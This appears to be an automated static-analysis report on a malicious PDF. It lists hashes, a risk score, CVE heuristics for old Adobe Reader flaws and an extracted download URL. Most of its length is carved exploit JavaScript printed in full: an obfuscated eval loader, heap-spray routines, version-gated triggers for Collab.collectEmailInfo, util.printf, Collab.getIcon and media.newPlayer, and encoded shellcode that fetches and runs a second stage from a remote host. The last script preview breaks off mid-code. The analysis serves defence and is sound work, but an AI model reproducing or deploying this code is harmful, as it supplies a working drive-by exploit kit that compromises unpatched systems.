Malicious PDF — malware analysis report

Static analysis result for SHA-256 9d51339f0749eff7…

MALICIOUS

PDF

12.5 KB First seen: 2026-05-09
MD5: e7bc62bdc61f8ed9f6383b030212df17 SHA-1: b56f9d35bc59e4ba41ebc772427b5c0b0bdc0f0b SHA-256: 9d51339f0749eff7980bee6eb5850755151695d845af59ef6578831bd4893a02
490 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript

The PDF document was flagged by a machine learning classifier with very high confidence as malicious. Static analysis revealed embedded JavaScript, which is a common technique for executing arbitrary code. The presence of a large JavaScript stream suggests it is likely responsible for a malicious payload delivery or execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://hgajskfgkewrfgyjagysdf.ce.ms/w.php?f=18&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11696 bytes
SHA-256: 1ddff447a6c82b005941d7462d0572547aff6fc5c1f6ad421119f096b34d1df4
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(26,24,27,31,27,9,8,9,30,30,54,46,44,68,51,9,17,6,56,16,3,3,17,6,24,47,31,50,17,6,56,60,24,47,17,6,63,60,31,50,17,6,31,62,16,50,17,6,16,16,60,24,17,6,3,50,47,14,17,6,50,14,56,54,17,6,56,54,16,14,17,6,14,47,50,14,17,6,63,14,56,54,17,6,60,3,8,47,17,6,63,3,56,54,17,6,16,16,14,56,17,6,3,3,57,54,17,6,60,31,56,54,17,6,14,16,16,47,17,6,16,16,63,50,17,6,56,8,33,47,17,6,8,60,31,31,17,6,24,24,8,14,17,6,54,56,24,24,17,6,50,14,56,54,17,6,47,16,16,14,17,6,16,62,50,3,17,6,63,60,14,3,17,6,56,63,24,54,17,6,33,50,16,50,17,6,31,50,56,60,17,6,60,8,63,60,17,6,31,54,31,62,17,6,60,8,50,47,17,6,56,54,60,3,17,6,16,47,63,60,17,6,63,50,56,54,17,6,63,56,16,60,17,6,24,60,14,16,17,6,56,54,60,3,17,6,33,14,63,3,17,6,24,60,14,16,17,6,47,62,16,16,17,6,50,8,50,62,17,6,45,57,24,47,17,6,47,60,14,16,17,6,57,54,16,16,17,6,54,31,14,24,17,6,16,56,8,14,17,6,63,50,24,33,17,6,47,8,14,56,17,6,14,57,47,54,17,6,57,45,14,16,17,6,31,54,50,14,17,6,16,54,24,8,17,6,63,60,8,24,17,6,60,31,31,3,17,6,60,31,56,54,17,6,14,16,33,50,17,6,3,3,57,57,17,6,14,47,56,54,17,6,56,57,50,54,17,6,31,47,50,3,17,6,60,50,24,24,17,6,14,47,33,50,17,6,57,56,56,54,17,6,57,57,14,16,17,6,14,50,56,54,17,6,14,16,56,54,17,6,45,54,47,60,17,6,60,62,60,31,17,6,31,54,47,16,17,6,45,57,60,16,17,6,3,56,56,54,17,6,56,14,33,14,17,6,14,47,63,57,17,6,63,50,16,16,17,6,62,3,14,16,17,6,24,16,31,54,17,6,3,56,56,54,17,6,56,54,14,56,17,6,3,45,24,63,17,6,60,62,14,60,17,6,62,56,31,56,17,6,24,24,24,24,17,6,31,33,24,24,17,6,31,56,24,62,17,6,14,14,14,14,17,6,14,14,14,14,17,6,60,14,60,56,17,6,50,14,3,45,17,6,24,24,3,56,17,6,14,14,14,14,17,6,60,14,14,14,17,6,47,14,56,16,17,6,60,14,8,62,17,6,56,54,60,60,17,6,56,54,31,47,17,6,8,14,60,31,17,6,47,16,56,16,17,6,24,24,14,60,17,6,3,56,31,16,17,6,3,31,3,24,17,6,14,14,14,14,17,6,63,60,3,56,17,6,3,47,63,33,17,6,60,50,3,57,17,6,8,3,24,24,17,6,47,50,56,16,17,6,56,54,14,56,17,6,31,56,31,56,17,6,24,24,3,8,17,6,24,24,24,24,17,6,14,33,31,54,17,6,63,33,31,54,17,6,31,47,56,8,17,6,14,8,14,50,17,6,14,14,14,14,17,6,60,47,56,57,17,6,14,47,33,50,17,6,14,50,47,63,17,6,63,33,33,50,17,6,3,63,3,60,17,6,47,63,63,16,17,6,33,50,50,50,17,6,63,3,14,50,17,6,16,16,63,33,17,6,47,63,16,33,17,6,33,50,50,50,17,6,33,14,14,56,17,6,63,16,33,57,17,6,60,16,33,14,17,6,24,56,3,56,17,6,14,14,14,14,17,6,24,24,14,14,17,6,14,47,60,3,17,6,31,56,56,54,17,6,47,62,16,16,17,6,47,63,60,8,17,6,8,57,50,50,17,6,63,63,14,14,17,6,3,33,63,14,17,6,47,63,63,50,17,6,8,57,50,50,17,6,33,31,14,60,17,6,3,47,3,50,17,6,47,3,3,47,17,6,8,57,50,50,17,6,14,14,14,62,17,6,56,45,60,62,17,6,14,50,47,8,17,6,56,56,16,14,17,6,8,57,50,50,17,6,50,8,14,50,17,6,3,45,60,8,17,6,3,45,14,14,17,6,60,16,14,14,17,6,3,45,60,63,17,6,24,24,14,14,17,6,8,50,60,3,17,6,47,14,56,60,17,6,8,3,63,60,17,6,14,14,3,45,17,6,24,24,60,16,17,6,14,50,60,3,17,6,14,14,3,45,17,6,31,54,56,16,17,6,60,16,14,47,17,6,60,3,24,24,17,6,56,16,14,50,17,6,14,47,47,16,17,6,14,33,31,54,17,6,8,16,31,54,17,6,56,14,50,63,17,6,14,14,16,24,17,6,24,45,63,60,17,6,56,14,50,63,17,6,14,14,16,24,17,6,47,50,63,60,17,6,14,14,3,45,17,6,24,31,3,45,17,6,60,3,24,24,17,6,31,56,14,56,17,6,24,31,62,47,17,6,24,24,24,24,17,6,50,31,56,31,17,6,31,47,14,31,17,6,24,31,62,56,17,6,14,31,56,45,17,6,3,24,56,62,17,6,54,57,14,8,17,6,47,45,16,16,17,6,60,54,56,45,17,6,47,3,8,54,17,6,63,62,50,3,17,6,8,45,16,3,17,6,63,14,33,24,17,6,63,50,3,56,17,6,63,14,63,50,17,6,33,24,16,45,17,6,3,56,33,24,17,6,3,8,3,63,17,6,63,16,3,45,17,6,3,3,3,54,17,6,3,54,3,63,17,6,63,63,3,60,17,6,3,3,63,33,17,6,63,62,3,63,17,6,3,8,3,45,17,6,63,62,3,63,17,6,3,50,63,16,17,6,33,31,3,3,17,6,3,60,3,16,17,6,3,57,33,31,17,6,33,24,63,16,17,6,33,31,63,63,17,6,3,56,63,14,17,6,16,24,63,14,17,6,16,57,3,3,17,6,16,56,16,8,17,6,3,60,33,3,17,6,16,60,16,57,17,6,14,14,14,14,9,10,24,6,40,47,28,26,66,40,25,31,37,12,36,27,36,45,35,49,21,30,23,41,4,26,70,31,27,36,45,39,70,31,40,68,28,4,7,33,69,49,21,30,23,36,45,32,51,36,45,10,1,36,45,51,36,45,39,44,6,54,44,28,36,26,40,68,27,14,35,49,21,74,33,30,10,36,31,28,6,36,40,25,36,45,10,1,25,24,6,40,47,28,26,66,40,25,54,42,27,30,23,12,45,36,25,57,18,68,51,40,31,41,25,43,36,36,45,21,27,30,10,12,45,36,25,12,41,51,14,42,14,47,14,47,14,47,14,47,10,12,45,36,25,45,57,57,36,51,14,42,50,14,14,14,14,14,10,12,45,36,25,72,45,21,70,66,45,57,51,6,40,31,44,47,45,72,31,27,54,46,44,68,30,10,12,45,36,25,44,47,58,70,31,40,51,72,45,21,70,66,45,57,39,70,31,40,68,28,4,7,33,10,12,45,36,25,49,21,51,45,57,57,36,59,27,44,47,58,70,31,40,32,14,42,16,56,30,10,12,45,36,25,21,45,36,44,72,51,6,40,31,44,47,45,72,31,27,64,17,6,62,14,62,14,17,6,62,14,62,14,64,30,10,21,45,36,44,72,51,31,37,12,36,27,21,45,36,44,72,35,49,21,30,10,12,45,36,25,47,66,6,40,28,33,51,27,12,41,59,14,42,50,14,14,14,14,14,30,74,45,57,57,36,10,24,66,36,27,12,45,36,25,47,66,6,40,28,51,14,10,47,66,6,40,28,69,47,66,6,40,28,33,10,47,66,6,40,28,32,32,30,23,57,18,68,55,47,66,6,40,28,11,51,21,45,36,44,72,32,72,45,21,70,66,45,57,10,1,25,12,45,36,25,66,12,31,36,24,70,66,41,51,6,40,31,44,47,45,72,31,27,64,17,6,14,47,14,47,17,6,14,47,14,47,64,30,10,41,4,26,70,31,27,66,12,31,36,24,70,66,41,39,70,31,40,68,28,4,69,50,50,62,60,33,30,23,66,12,31,36,24,70,66,41,32,51,66,12,31,36,24,70,66,41,10,1,25,28,4,26,44,39,47,66,70,70,45,54,48,28,66,36,31,51,22,66,70,70,45,54,39,47,66,70,70,31,47,28,0,52,45,26,70,2,40,24,66,27,23,44,6,54,46,71,64,64,35,52,44,68,71,66,12,31,36,24,70,66,41,1,30,10,1,25,24,6,40,47,28,26,66,40,25,72,36,26,40,28,24,27,30,23,40,66,72,51,6,40,31,44,47,45,72,31,27,64,17,6,14,43,14,43,17,6,14,43,14,43,17,6,14,43,14,43,17,6,14,43,14,43,64,30,10,12,45,36,25,72,45,21,70,66,45,57,51,6,40,31,44,47,45,72,31,27,54,46,44,68,30,10,4,31,45,72,54,70,66,47,18,51,40,66,72,32,72,45,21,70,66,45,57,10,54,26,68,54,70,66,47,18,51,6,40,31,44,47,45,72,31,27,64,17,6,14,43,14,43,17,6,14,43,14,43,64,30,10,4,31,45,57,31,36,44,26,37,31,51,33,14,10,44,72,36,45,21,51,4,31,45,57,31,36,44,26,37,31,32,4,31,45,72,54,70,66,47,18,39,70,31,40,68,28,4,10,41,4,26,70,31,27,54,26,68,54,70,66,47,18,39,70,31,40,68,28,4,69,44,72,36,45,21,30,23,54,26,68,54,70,66,47,18,32,51,54,26,68,54,70,66,47,18,10,1,25,24,26,70,70,54,70,66,47,18,51,54,26,68,54,70,66,47,18,39,44,6,54,44,28,36,26,40,68,27,14,35,44,72,36,45,21,30,10,54,70,66,47,18,51,54,26,68,54,70,66,47,18,39,44,6,54,44,28,36,26,40,68,27,14,35,54,26,68,54,70,66,47,18,39,70,31,40,68,28,4,59,44,72,36,45,21,30,10,41,4,26,70,31,27,54,70,66,47,18,39,70,31,40,68,28,4,32,44,72,36,45,21,69,14,42,50,14,14,14,14,30,23,54,70,66,47,18,51,54,70,66,47,18,32,54,70,66,47,18,32,24,26,70,70,54,70,66,47,18,10,1,25,52,31,52,51,40,31,41,25,43,36,36,45,21,27,30,10,24,66,36,27,26,51,14,10,26,69,8,50,14,14,10,26,32,32,30,23,52,31,52,55,26,11,51,54,70,66,47,18,32,4,31,45,72,54,70,66,47,18,10,1,25,12,45,36,25,40,6,52,51,8,33,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,62,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,10,6,28,26,70,39,72,36,26,40,28,24,27,64,17,50,60,14,14,14,24,64,35,40,6,52,30,10,1,25,24,6,40,47,28,26,66,40,25,68,31,28,26,47,66,40,27,30,23,12,45,36,25,45,36,36,21,51,40,31,41,25,43,36,36,45,21,27,30,10,26,24,27,45,72,72,39,57,66,47,39,22,66,70,70,45,54,39,68,31,28,2,47,66,40,30,23,12,45,36,25,72,45,21,70,66,45,57,51,6,40,31,44,47,45,72,31,27,54,46,44,68,30,10,12,45,36,25,4,73,49,60,14,14,22,65,51,72,45,21,70,66,45,57,39,70,31,40,68,28,4,7,33,10,12,45,36,25,49,21,51,14,42,50,14,14,14,14,14,59,27,4,73,49,60,14,14,22,65,32,14,42,16,56,30,10,12,45,36,25,21,45,36,44,72,51,6,40,31,44,47,45,72,31,27,64,17,6,62,14,62,14,17,6,62,14,62,14,64,30,10,21,45,36,44,72,51,31,37,12,36,27,21,45,36,44,72,35,49,21,30,10,12,45,36,25,72,60,43,46,75,3,60,24,51,27,14,42,14,47,14,47,14,47,14,47,59,14,42,50,14,14,14,14,14,30,74,14,42,50,14,14,14,14,14,10,24,66,36,27,12,45,36,25,12,49,47,38,61,62,3,21,51,14,10,12,49,47,38,61,62,3,21,69,72,60,43,46,75,3,60,24,10,12,49,47,38,61,62,3,21,32,32,30,23,45,36,36,21,55,12,49,47,38,61,62,3,21,11,51,21,45,36,44,72,32,72,45,21,70,66,45,57,10,1,25,12,45,36,25,28,29,19,4,65,54,5,41,51,6,40,31,44,47,45,72,31,27,64,17,14,62,64,30,10,41,4,26,70,31,27,28,29,19,4,65,54,5,41,39,70,31,40,68,28,4,69,14,42,50,14,14,14,30,23,28,29,19,4,65,54,5,41,32,51,28,29,19,4,65,54,5,41,10,1,25,28,29,19,4,65,54,5,41,51,64,65,39,64,32,28,29,19,4,65,54,5,41,10,45,72,72,39,57,66,47,39,22,66,70,70,45,54,39,68,31,28,2,47,66,40,27,28,29,19,4,65,54,5,41,30,10,1,1,25,45,34,70,6,68,26,40,44,51,45,72,72,39,72,70,6,68,2,40,44,10,12,45,36,25,44,12,51,72,45,36,44,31,2,40,28,27,45,72,72,39,12,26,31,41,31,36,15,31,36,44,26,66,40,39,28,66,48,28,36,26,40,68,27,30,39,47,4,45,36,43,28,27,14,30,30,10,24,66,36,27,12,45,36,25,26,51,14,10,26,69,45,34,70,6,68,26,40,44,39,70,31,40,68,28,4,10,26,32,32,30,23,26,24,27,45,34,70,6,68,26,40,44,55,26,11,39,40,45,52,31,51,51,9,0,48,47,36,26,72,28,9,30,23,12,45,36,25,70,12,51,45,34,70,6,68,26,40,44,55,26,11,39,12,31,36,44,26,66,40,10,1,1,25,26,24,27,27,70,12,51,51,62,30,53,53,27,27,44,12,51,51,56,30,13,13,27,70,12,69,51,56,39,8,33,30,30,30,23,68,31,28,26,47,66,40,27,30,10,1,31,70,44,31,25,26,24,27,70,12,51,51,63,39,8,30,23,72,36,26,40,28,24,27,30,10,1,31,70,44,31,25,26,24,27,27,27,44,12,51,51,3,30,53,53,27,44,12,51,51,63,30,30,13,13,27,70,12,69,63,39,8,8,30,30,23,54,42,27,30,10,1,31,70,44,31,25,26,24,27,27,70,12,20,51,62,39,8,30,53,53,27,70,12,69,51,62,39,33,30,53,53,27,70,12,20,51,56,39,8,16,30,53,53,27,70,12,69,51,56,39,8,63,30,30,23,24,6,40,47,28,26,66,40,25,45,27,30,23,6,28,26,70,39,72,36,26,40,28,57,27,9,72,67,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,25,71,25,21,21,21,21,8,8,8,9,35,40,31,41,25,61,45,28,31,27,30,30,10,1,12,45,36,25,4,51,45,72,72,39,72,70,6,68,2,40,44,10,24,66,36,27,12,45,36,25,24,51,14,10,24,69,4,39,70,31,40,68,28,4,10,24,32,32,30,23,26,24,27,4,55,24,11,39,40,45,52,31,51,51,9,0,48,47,36,26,72,28,9,30,23,12,45,36,25,26,51,4,55,24,11,39,12,31,36,44,26,66,40,10,1,1,25,26,24,27,27,26,20,56,39,8,33,30,13,13,27,26,69,56,39,33,30,30,23,47,51,40,31,41,25,43,36,36,45,21,27,30,10,12,45,36,25,57,51,6,40,31,44,47,45,72,31,27,9,17,6,62,14,62,14,17,6,62,14,62,14,9,30,10,12,45,36,25,31,51,6,40,31,44,47,45,72,31,27,54,46,44,68,30,10,41,4,26,70,31,27,57,39,70,31,40,68,28,4,69,51,14,42,56,14,14,14,30,23,57,32,51,57,10,1,57,51,57,39,44,6,54,44,28,36,27,14,35,14,42,56,14,14,14,59,31,39,70,31,40,68,28,4,30,10,24,66,36,27,24,51,14,10,24,69,33,62,14,14,10,24,32,32,30,23,47,55,24,11,51,57,32,31,10,1,45,27,30,10,45,27,30,10,28,36,21,23,28,4,26,44,39,52,31,57,26,45,39,40,31,41,34,70,45,21,31,36,27,40,6,70,70,30,10,1,47,45,28,47,4,27,31,30,23,1,45,27,30,10,1,1);
a=new String("E}I6hGu*1';]v&0V3%kM>yC{f i(tU)e+2P,rzQ.nwxAsajcSq4=m|b[8d_-5D97'No@g<l:pW/K");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3900 bytes
SHA-256: 4ca8c7040ec1f4dbc5f7cb3557e4a9e5eb94414e295b1ec4b2514379ffcebca8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u682f%u6167%u736a%u666b%u6b67%u7765%u6672%u7967%u616a%u7967%u6473%u2e66%u6563%u6d2e%u2f73%u2e77%u6870%u3f70%u3d66%u3831%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3896 bytes
SHA-256: 67c0352bfb72614cde26df094d2f99f16ee9d3f40d22c36b9377dedd79a73ebd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u682f%u6167%u736a%u666b%u6b67%u7765%u6672%u7967%u616a%u7967%u6473%u2e66%u6563%u6d2e%u2f73%u2e77%u6870%u3f70%u3d66%u3831%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var 